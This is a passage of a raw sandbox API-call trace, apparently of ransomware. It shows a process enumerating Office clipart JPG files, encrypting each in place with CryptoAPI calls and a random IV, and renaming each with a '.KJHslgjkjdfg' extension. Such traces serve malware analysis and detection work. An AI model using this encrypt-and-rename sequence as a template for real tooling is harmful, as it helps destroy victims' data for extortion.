lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.989] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.989] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.989] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.989] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x18ac4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x18ac4, lpOverlapped=0x0) returned 1 [0183.991] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18ad0, dwBufLen=0x18ad0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18ad0) returned 1 [0183.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.992] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x18ad0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x18ad0, lpOverlapped=0x0) returned 1 [0183.992] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.992] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x18ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.992] SetEndOfFile (hFile=0x114) returned 1 [0183.995] GetProcessHeap () returned 0x2a0000 [0183.995] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.995] GetProcessHeap () returned 0x2a0000 [0183.995] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.995] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg.kjhslgjkjdfg")) returned 1 [0183.996] CloseHandle (hObject=0x114) returned 1 [0183.996] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bef7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382962.JPG", cAlternateFileName="")) returned 1 [0183.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.997] GetProcessHeap () returned 0x2a0000 [0183.997] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.997] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.997] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0184.000] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.000] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.000] GetProcessHeap () returned 0x2a0000 [0184.000] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.000] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.000] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.000] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.000] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.000] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.000] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.000] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.000] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.000] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.000] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.001] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.001] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1bef7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1bef7, lpOverlapped=0x0) returned 1 [0184.003] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bf00, dwBufLen=0x1bf00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bf00) returned 1 [0184.004] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.004] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1bf00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1bf00, lpOverlapped=0x0) returned 1 [0184.004] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.004] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1bfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.004] SetEndOfFile (hFile=0x114) returned 1 [0184.007] GetProcessHeap () returned 0x2a0000 [0184.007] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.007] GetProcessHeap () returned 0x2a0000 [0184.007] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.007] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382962.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382962.jpg.kjhslgjkjdfg")) returned 1 [0184.011] CloseHandle (hObject=0x114) returned 1 [0184.011] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17dee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382963.JPG", cAlternateFileName="")) returned 1 [0184.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.012] GetProcessHeap () returned 0x2a0000 [0184.012] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.012] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.012] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.012] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0184.014] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.014] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.014] GetProcessHeap () returned 0x2a0000 [0184.014] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.014] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.014] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.014] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.014] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.014] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.014] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.014] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.014] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.015] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.015] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.015] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.015] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17dee, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x17dee, lpOverlapped=0x0) returned 1 [0184.018] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17df0, dwBufLen=0x17df0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17df0) returned 1 [0184.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.019] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17df0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x17df0, lpOverlapped=0x0) returned 1 [0184.019] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.019] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x17ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.019] SetEndOfFile (hFile=0x114) returned 1 [0184.022] GetProcessHeap () returned 0x2a0000 [0184.022] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.022] GetProcessHeap () returned 0x2a0000 [0184.022] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382963.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382963.jpg.kjhslgjkjdfg")) returned 1 [0184.023] CloseHandle (hObject=0x114) returned 1 [0184.023] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bb02, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382965.JPG", cAlternateFileName="")) returned 1 [0184.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.024] GetProcessHeap () returned 0x2a0000 [0184.024] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.024] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.024] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.024] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0184.026] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.026] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.026] GetProcessHeap () returned 0x2a0000 [0184.026] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.026] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.026] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.026] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.027] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.027] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.027] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.027] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.027] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.027] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.027] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.027] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.027] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1bb02, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1bb02, lpOverlapped=0x0) returned 1 [0184.031] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bb10, dwBufLen=0x1bb10 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1bb10) returned 1 [0184.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.032] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1bb10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1bb10, lpOverlapped=0x0) returned 1 [0184.032] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.032] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1bbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.032] SetEndOfFile (hFile=0x114) returned 1 [0184.035] GetProcessHeap () returned 0x2a0000 [0184.035] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0184.035] GetProcessHeap () returned 0x2a0000 [0184.035] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0184.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382965.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382965.jpg.kjhslgjkjdfg")) returned 1 [0184.037] CloseHandle (hObject=0x114) returned 1 [0184.037] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56798470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0382966.JPG", cAlternateFileName="")) returned 1 [0184.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382966.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382966.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0184.038] GetProcessHeap () returned 0x2a0000 [0184.038] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0184.038] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0184.038] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0184.038] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.040] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.040] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.040] GetProcessHeap () returned 0x2a0000 [0184.040] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0184.040] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0184.040] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0184.040] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0184.040] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0184.040] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0184.040] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0184.040] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0184.041] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0184.041] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0184.041] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0184.041] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.041] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x18888, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x18888, lpOverlapped=0x0) returned 1 [0184.043] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18890, dwBufLen=0x18890 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x18890) returned 1 [0184.044] 